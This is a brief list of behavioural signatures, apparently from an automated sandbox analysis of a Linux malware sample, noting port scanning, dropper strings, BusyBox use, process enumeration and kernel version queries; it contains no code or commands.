Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)
